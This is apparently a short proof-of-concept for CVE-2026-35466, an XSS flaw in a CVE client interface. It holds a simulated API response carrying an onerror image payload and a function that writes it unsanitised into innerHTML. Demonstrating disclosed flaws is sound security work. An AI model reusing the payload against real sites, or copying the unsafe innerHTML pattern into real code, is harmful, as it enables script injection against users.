CVE-2026-35466 cveClient接口XSS漏洞

<!-- PoC for CVE-2026-35466 This script simulates the vulnerable behavior in cveInterface.js where input from the CVE API is directly rendered without sanitization. --> <script> // 1. Simulate a malicious response from the CVE API // In a real scenario, this might come from a compromised API or MitM attack const maliciousApiResponse = { "cve": { "id": "CVE-2026-35466", "descriptions": [ { "lang": "en", // Payload: Injecting an image tag with an onerror handler to execute JS "value": "<img src=x onerror=alert('XSS CVE-2026-35466 Executed')>" } ] } }; // 2. Vulnerable function in cveInterface.js (Simulation) function renderCveDetails(apiData) { const displayElement = document.getElementById('cve-description'); if (displayElement && apiData.cve && apiData.cve.descriptions) { // VULNERABILITY: Directly assigning innerHTML with untrusted input displayElement.innerHTML = apiData.cve.descriptions[0].value; console.log("Content rendered. Check for alert popup."); } } // 3. Execute the PoC // Note: Ensure there is a div with id 'cve-description' in the DOM for this to run renderCveDetails(maliciousApiResponse); </script>